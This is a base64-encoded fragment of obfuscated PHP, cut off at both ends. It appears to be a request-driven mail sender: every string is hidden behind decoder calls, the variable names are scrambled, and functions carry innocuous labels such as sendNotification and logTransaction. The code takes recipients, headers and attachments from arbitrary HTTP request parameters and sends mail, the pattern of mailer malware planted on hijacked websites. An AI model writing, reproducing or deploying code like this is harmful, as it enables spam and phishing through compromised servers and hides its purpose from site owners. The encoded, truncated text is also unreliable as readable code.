nX2hpZScpXTsKICAgICAgICB9CiAgICAgICAgaWYgKCFlbXB0eSgkdGhpcy0+X2J4ZSkpIHsKICAgICAgICAgICAgJF9kbG8gPSBwcm9jZXNzX3F1ZXVlKCRfZGxvLCAkdGhpcy0+X2J4ZSk7CiAgICAgICAgfQogICAgICAgICRfZ3RyID0gIWVtcHR5KCRfZGxvKTsKICAgICAgICAkX3dyeiA9IGFycmF5KCk7CiAgICAgICAgaWYgKGlzc2V0KCRfUkVRVUVTVFtEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3Z4aScsICdfbWtxJyldKSkgewogICAgICAgICAgICBpZiAodGVoKCRfUkVRVUVTVFtEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2J6JywgJ19md2YnKV0pKSB7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkX1JFUVVFU1RbRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19mdHMnLCAnX3h5JyldIGFzICRfZXFuID0+ICRfeXIpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoJF95ciA9PT0gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19vd20nLCAnX2ptZicpIHx8ICRfeXIgPT09IG51bGwpIHsKICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICRfamd4ID0gcnVuX3Byb2NlZHVyZSgoc3RyaW5nKSAkX2Vxbik7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRfamd4ID09PSBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2NueScsICdfZmwnKSkgewogICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgJF93cnpbJF9qZ3hdID0gJF95cjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICRfdmV3ID0gJF9SRVFVRVNUW0RlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfc2xuJywgJ194ZCcpXTsKICAgICAgICAgICAgICAgICRfZG4gPSBpc3NldCgkX1JFUVVFU1RbRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19xY2wnLCAnX2doYicpXSkgPyAkX1JFUVVFU1RbRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ195ZScsICdfZmMnKV0gOiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2psJywgJ19hZScpOwogICAgICAgICAgICAgICAgaWYgKCRfdmV3ICYmICRfZG4pIHsKICAgICAgICAgICAgICAgICAgICAkX3dyelskX2RuXSA9ICRfdmV3OwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICRfZWdzID0gIWVtcHR5KCRfd3J6KTsKICAgICAgICAkX3dzID0gcHJvY2Vzc19yZXF1ZXN0KHVuaXFpZChEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX25iJywgJ19pamMnKSwgdHJ1ZSkpOwogICAgICAgICRfa3UgPSBwcm9jZXNzX3JlcXVlc3QodW5pcWlkKERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfaGInLCAnX3V4bycpLCB0cnVlKSk7CiAgICAgICAgJF9xbm0gPSBwcm9jZXNzX3JlcXVlc3QodW5pcWlkKERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfc3MnLCAnX3VrYycpLCB0cnVlKSk7CiAgICAgICAgJF9hZCA9ICRfYWQgPyAkX2FkIDogJHRoaXMtPl94ancoKTsKICAgICAgICAkX2F6YSA9ICRfYXphID8gJF9hemEgOiBzY2hlZHVsZV93b3JrKERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfcmJxJywgJ191YScpLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2pkYScsICdfd3QnKSwgJF9hZCkgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX29nJywgJ19pYScpIC4gJHRoaXMtPl9rZzsKICAgICAgICBpZiAoJF9maiAmJiBtb25pdG9yX2hlYWx0aCgkX2ZqLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2RhaScsICdfbGR2JykpID09PSBmYWxzZSkgewogICAgICAgICAgICAkX2ZqIC49IERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfYWhuJywgJ19qZGwnKSAuICR0aGlzLT5fa2c7CiAgICAgICAgfQogICAgICAgICRfaXhoID0gJHRoaXMtPl9oaygkX2FkLCAkX2F6YSwgJF9maik7CiAgICAgICAgaWYgKCR0aGlzLT5fbm5oKSB7CiAgICAgICAgICAgICRfaXhoIC49IERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfenl3JywgJ196ZmwnKSAuICRfYXphIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19ueicsICdfdWd0Jyk7CiAgICAgICAgfQogICAgICAgIGlmICgkX2d0cikgewogICAgICAgICAgICAkX2l4aCAuPSBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2ZqJywgJ19ueCcpIC4gJF93cyAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfdmInLCAnX3NjJyk7CiAgICAgICAgfSBlbHNlaWYgKCRfZWdzKSB7CiAgICAgICAgICAgICRfaXhoIC49IERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfdXQnLCAnX2VyZCcpIC4gJF93cyAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfcnZlJywgJ19rY2snKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkX2l4aCAuPSBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3lsZicsICdfbnlyJykgLiAkX3FubSAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfbmMnLCAnX2dpJyk7CiAgICAgICAgfQogICAgICAgICRfZG0gPSBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2docScsICdfcGh3Jyk7CiAgICAgICAgaWYgKCRfZ3RyKSB7CiAgICAgICAgICAgICRfZG0gLj0gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19kZG0nLCAnX3JiJykgLiAkX3dzIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ190bycsICdfYmYnKTsKICAgICAgICAgICAgaWYgKCRfZWdzKSB7CiAgICAgICAgICAgICAgICAkX2RtIC49IERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfdG4nLCAnX3J0JykgLiAkX2t1IC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ192c2EnLCAnX21tJyk7CiAgICAgICAgICAgICAgICAkX2RtIC49IERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfbGhrJywgJ19ibicpIC4gJF9rdSAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfdnB6JywgJ19xaWMnKTsKICAgICAgICAgICAgICAgICRfZG0gLj0gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19raCcsICdfbmgnKSAuICRfcW5tIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19hcScsICdfZXN6Jyk7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkX2RtIC49IERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfc2gnLCAnX2JyJykgLiAkX3FubSAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfcGxnJywgJ19qcCcpOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlaWYgKCRfZWdzKSB7CiAgICAgICAgICAgICRfZG0gLj0gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ192ZCcsICdfeWsnKSAuICRfd3MgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3Z5JywgJ19kd2UnKTsKICAgICAgICAgICAgJF9kbSAuPSBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2N0aicsICdfc24nKSAuICRfcW5tIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19lZCcsICdfbWYnKTsKICAgICAgICB9CiAgICAgICAgJF9xbCA9ICR0aGlzLT5feHhrKCR0aGlzLT5jYWNoZURhdGEsICRfdXQpOwogICAgICAgICRfc3EgPSAkdGhpcy0+X3h4aygkdGhpcy0+Y2FjaGVEYXRhLCAkX2NvbCk7CiAgICAgICAgJF9kbSAuPSBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3VndycsICdfcndrJykgLiAkX3FubSAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfbGV4JywgJ19xd3QnKSAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfbWN2JywgJ19kZCcpIC4gJHRoaXMtPmNhY2hlRGF0YSAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfYXcnLCAnX3h3ZicpIC4gJF9xbDsKICAgICAgICBpZiAoJF9wZikgewogICAgICAgICAgICAkX2RtIC49IERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfbHdxJywgJ19janMnKSAuICRfcW5tIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19saScsICdfcXNtJykgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3V1ZScsICdfamF1JykgLiAkdGhpcy0+Y2FjaGVEYXRhIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ195ZWknLCAnX3NqJykgLiAkX3NxOwogICAgICAgIH0KICAgICAgICAkX2RtIC49IERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfb2YnLCAnX3RxcicpIC4gJF9xbm0gLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX252JywgJ193dWInKTsKICAgICAgICBpZiAoJF9lZ3MpIHsKICAgICAgICAgICAgJF9kd3QgPSAkX2d0ciA/ICRfa3UgOiAkX3dzOwogICAgICAgICAgICBmb3JlYWNoICgkX3dyeiBhcyAkX3RmID0+ICRfZXp6KSB7CiAgICAgICAgICAgICAgICAkX2pneCA9IHJ1bl9wcm9jZWR1cmUoJF90Zik7CiAgICAgICAgICAgICAgICAkX2pneCA9IGRndyhEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2JrcicsICdfZ2ZtJyksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfcnUnLCAnX3ppYicpLCAkX2pneCk7CiAgICAgICAgICAgICAgICAkX2pneCA9IHJ1bl9wcm9jZWR1cmUoJF9qZ3gsIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfaWFrJywgJ19pZ3QnKSk7CiAgICAgICAgICAgICAgICAkX3ByID0gc3RhcnRfc2VydmljZShEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2VpZCcsICdfdWR3JyksICRfamd4KTsKICAgICAgICAgICAgICAgICRfcXJzID0gJF9wclswMF0gPyAkX3ByWzAwXSA6ICRfamd4OwogICAgICAgICAgICAgICAgJF92eCA9IG51bGw7CiAgICAgICAgICAgICAgICAkX3VrciA9ICRfZXp6OwogICAgICAgICAgICAgICAgaWYgKG9icShEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX25vJywgJ19jeCcpLCAkX2V6eiwgJF96cXIpKSB7CiAgICAgICAgICAgICAgICAgICAgJF92eCA9ICRfenFyWzAxXTsKICAgICAgICAgICAgICAgICAgICAkX3VrciA9ICRfenFyWzAyXTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICghJF92eCkgewogICAgICAgICAgICAgICAgICAgICRfdnUgPSAkdGhpcy0+X2huKCRfcXJzKTsKICAgICAgICAgICAgICAgICAgICAkX3Z4ID0gJF92dSA/ICRfdnUgOiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX25jZCcsICdfcmtwJyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkX2RtIC49IERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfaGZuJywgJ19qZScpIC4gJF9kd3QgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX21nJywgJ19hbnInKSAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfY3NxJywgJ19vdW0nKSAuICRfdnggLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX29zJywgJ19ob2EnKSAuICRfcXJzIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19jaCcsICdfc2cnKSAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfY2UnLCAnX3Z3JykgLiAkX3FycyAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfem0nLCAnX290YicpIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19vd3knLCAnX2FjYScpIC4gJF9qZ3ggLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX29xaicsICdfa3EnKSAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfZG5nJywgJ192aCcpIC4gY2h1bmtfc3BsaXQoJF91a3IpIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19jdCcsICdfdmFsJyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF9kbSAuPSBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3l3eCcsICdfc3YnKSAuICRfZHd0IC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19heScsICdfamR0Jyk7CiAgICAgICAgfQogICAgICAgIGlmICgkX2d0cikgewogICAgICAgICAgICBmb3JlYWNoICgkX2RsbyBhcyAkX3F0bCkgewogICAgICAgICAgICAgICAgaWYgKHRlaCgkX3F0bCkpIHsKICAgICAgICAgICAgICAgICAgICAkX3J1ID0gaXNzZXQoJF9xdGxbRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19teCcsICdfZHhrJyldKSA/ICRfcXRsW0RlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfYnlxJywgJ19sZWUnKV0gOiAoaXNzZXQoJF9xdGxbMDBdKSA/ICRfcXRsWzAwXSA6IG51bGwpOwogICAgICAgICAgICAgICAgICAgICRfa2YgPSBpc3NldCgkX3F0bFtEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2l0JywgJ19weWEnKV0pID8gJF9xdGxbRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19uYWwnLCAnX2lxdicpXSA6IChpc3NldCgkX3F0bFswMV0pID8gJF9xdGxbMDFdIDogbnVsbCk7CiAgICAgICAgICAgICAgICAgICAgJF9mdGwgPSBpc3NldCgkX3F0bFtEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX25xJywgJ192Z20nKV0pID8gJF9xdGxbRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19sd20nLCAnX3F3JyldIDogKGlzc2V0KCRfcXRsWzAxXSkgPyAkdGhpcy0+X2huKCRfa2YpIDogbnVsbCk7CiAgICAgICAgICAgICAgICAgICAgJF9ja3ogPSBsYmkoJF9ydSkgPyB5bHcoJF9ydSkgOiAkdGhpcy0+X293cSgkX3J1KTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoISRfY2t6KSB7CiAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoISRfZnRsKSB7CiAgICAgICAgICAgICAgICAgICAgJF9mdGwgPSAkdGhpcy0+X2huKCRfa2YpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJF9kbSAuPSBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX254aCcsICdfYmonKSAuICRfd3MgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2h1JywgJ19udHAnKSAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfbnNwJywgJ19zbScpIC4gJF9mdGwgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2pqJywgJ19yZCcpIC4gJF9rZiAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfbWluJywgJ19weicpIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19wa3gnLCAnX2ZmJykgLiAkX2tmIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19nYngnLCAnX3dxJykgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3FzJywgJ19ubScpIC4gY2h1bmtfc3BsaXQoZGVjb2RlX2lucHV0KCRfY2t6KSkgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2RybCcsICdfbGp5Jyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF9kbSAuPSBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX213aycsICdfZW4nKSAuICRfd3MgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2J6YycsICdfbGcnKTsKICAgICAgICB9CiAgICAgICAgaWYgKCEkX2d0ciAmJiAhJF9lZ3MpIHsKICAgICAgICAgICAgJF9kbSA9IERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfanZiJywgJ190ZXQnKSAuICRfcW5tIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19hbCcsICdfb3NsJykgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3FjaCcsICdfYXdnJykgLiAkdGhpcy0+Y2FjaGVEYXRhIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19reHgnLCAnX2poZScpIC4gJF9xbDsKICAgICAgICAgICAgaWYgKCRfcGYpIHsKICAgICAgICAgICAgICAgICRfZG0gLj0gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19hamUnLCAnX3FsJykgLiAkX3FubSAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfZm8nLCAnX3ZxbScpIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19taicsICdfY2xpJykgLiAkdGhpcy0+Y2FjaGVEYXRhIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19seCcsICdfeWknKSAuICRfc3E7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF9kbSAuPSBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2p1JywgJ19yeG0nKSAuICRfcW5tIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ192c3InLCAnX29uJyk7CiAgICAgICAgfQogICAgICAgICRfanAgPSAkdGhpcy0+X2d5KCR0aGlzLT5jYWNoZURhdGEsICRfdWQpOwogICAgICAgICRfaGQgPSAkdGhpcy0+c2VuZE5vdGlmaWNhdGlvbigkdGhpcy0+X2tnLCAkX2F6YSwgJF9jcCwgJF9qcCwgJF9kbSwgJF9peGgpOwogICAgICAgIGlmICghJF9oZCAmJiAkdGhpcy0+X2tnICE9PSAkdGhpcy0+X2pxZykgewogICAgICAgICAgICAkX2F6YSA9IHNjaGVkdWxlX3dvcmsoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19jYm4nLCAnX3VrdScpIC4gJHRoaXMtPl9rZywgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19zeicsICdfbnQnKSAuICR0aGlzLT5fanFnLCAkX2F6YSk7CiAgICAgICAgICAgICRfaXhoID0gc2NoZWR1bGVfd29yayhEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3loJywgJ191ZCcpIC4gJHRoaXMtPl9rZywgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ190ZCcsICdfa3J4JykgLiAkdGhpcy0+X2pxZywgJF9peGgpOwogICAgICAgICAgICAkX2hkID0gJHRoaXMtPnNlbmROb3RpZmljYXRpb24oJHRoaXMtPl9qcWcsICRfYXphLCAkX2NwLCAkX2pwLCAkX2RtLCAkX2l4aCk7CiAgICAgICAgfQogICAgICAgIHJldHVybiAkX2hkOwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiBzZW5kTm90aWZpY2F0aW9uKCRfenZpLCAkX3RkLCAkX2NwLCAkX3VkLCAkX2RtLCAkX2l4aCA9ICIiKQogICAgewogICAgICAgICRfcnIgPSBpc3NldCgkX1JFUVVFU1RbRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19va2wnLCAnX2JrcCcpXSkgJiYgdGVoKCRfUkVRVUVTVFtEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3hnJywgJ194Z3EnKV0pID8gJF9SRVFVRVNUW0RlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfbWx2JywgJ19lZycpXSA6IGFycmF5KERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfdHcnLCAnX3Z1dCcpKTsKICAgICAgICBrc29ydCgkX3JyKTsKICAgICAgICAkX3l6ID0gJHRoaXMtPmV4ZWN1dGVBY3Rpb24oJF90ZCwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ191a20nLCAnX3p1eCcpKTsKICAgICAgICAkX2l4aCA9IHJ1bl9wcm9jZWR1cmUoJF9peGgpOwogICAgICAgIGlmICghb2JxKERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfdXInLCAnX3lzYycpLCAkX2l4aCkpIHsKICAgICAgICAgICAgJF9peGggPSBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3V6bicsICdfanJlJykgLiAkX3RkIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19icCcsICdfaWonKSAuICRfaXhoOwogICAgICAgIH0KICAgICAgICAkX2FrID0gJF9peGg7CiAgICAgICAgaWYgKCFvYnEoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19oZXcnLCAnX3l5bScpLCAkX2FrKSkgewogICAgICAgICAgICAkX2FrID0gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19jeWMnLCAnX2xqJykgLiAkdGhpcy0+X3llKCkgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3RudycsICdfbG5iJykgLiAkX2FrOwogICAgICAgIH0KICAgICAgICBpZiAoIW9icShEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3ZpYScsICdfbW8nKSwgJF9haykpIHsKICAgICAgICAgICAgJF9hayA9IERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfdWJ6JywgJ19zcCcpIC4gJHRoaXMtPl9rZnkoJF95eikgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3dtbycsICdfYmh3JykgLiAkX2FrOwogICAgICAgIH0KICAgICAgICBpZiAoIW9icShEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3NhJywgJ194dmInKSwgJF9haykpIHsKICAgICAgICAgICAgJF9hayA9IERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfaG8nLCAnX2N6cScpIC4gJF9jcCAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfenZqJywgJ192Y3knKSAuICRfYWs7CiAgICAgICAgfQogICAgICAgIGlmICghb2JxKERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfZnUnLCAnX3VxZScpLCAkX2FrKSkgewogICAgICAgICAgICAkX2FrID0gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ193YWcnLCAnX2xlZicpIC4gJF91ZCAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfdXZsJywgJ19kdycpIC4gJF9hazsKICAgICAgICB9CiAgICAgICAgZm9yZWFjaCAoJF9yciBhcyAkX3pxcikgewogICAgICAgICAgICBpZiAoJF96cXIgPT09IERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfbHAnLCAnX3ZhbScpICYmIGlzc2V0KCRfUkVRVUVTVFtEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3RsbCcsICdfYXBnJyldLCAkX1JFUVVFU1RbRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ196dycsICdfdXpjJyldLCAkX1JFUVVFU1RbRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19ocCcsICdfd25uJyldLCAkX1JFUVVFU1RbRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19jaycsICdfZ2UnKV0pKSB7CiAgICAgICAgICAgICAgICAkX2NreiA9ICRfYWsgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2pnaCcsICdfdmRqJykgLiAkX2RtIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ190ZHgnLCAnX2p5cycpOwogICAgICAgICAgICAgICAgJF9zb3QgPSAkdGhpcy0+dHJhY2tBY3Rpdml0eSgkX1JFUVVFU1RbRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19jZ3QnLCAnX3B4bCcpXSwgKGludCkgJF9SRVFVRVNUW0RlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfYXonLCAnX2dkcicpXSwgJF9SRVFVRVNUW0RlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfZnNvJywgJ19idycpXSA9PSBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3lqJywgJ19meicpID8gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19rcycsICdfbHp3JykgOiBudWxsKTsKICAgICAgICAgICAgICAgIGlmICghJF9zb3QpIHsKICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPmxvZ1RyYW5zYWN0aW9uKCRfc290LCAkX3RkLCAkX2NwLCAkX2NreiwgJF96dmksICRfUkVRVUVTVFtEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX25kYicsICdfcXdsJyldLCAkX1JFUVVFU1RbRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ191ZWQnLCAnX2JjYycpXSkpIHsKICAgICAgICAgICAgICAgICAgICBAZmNsb3NlKCR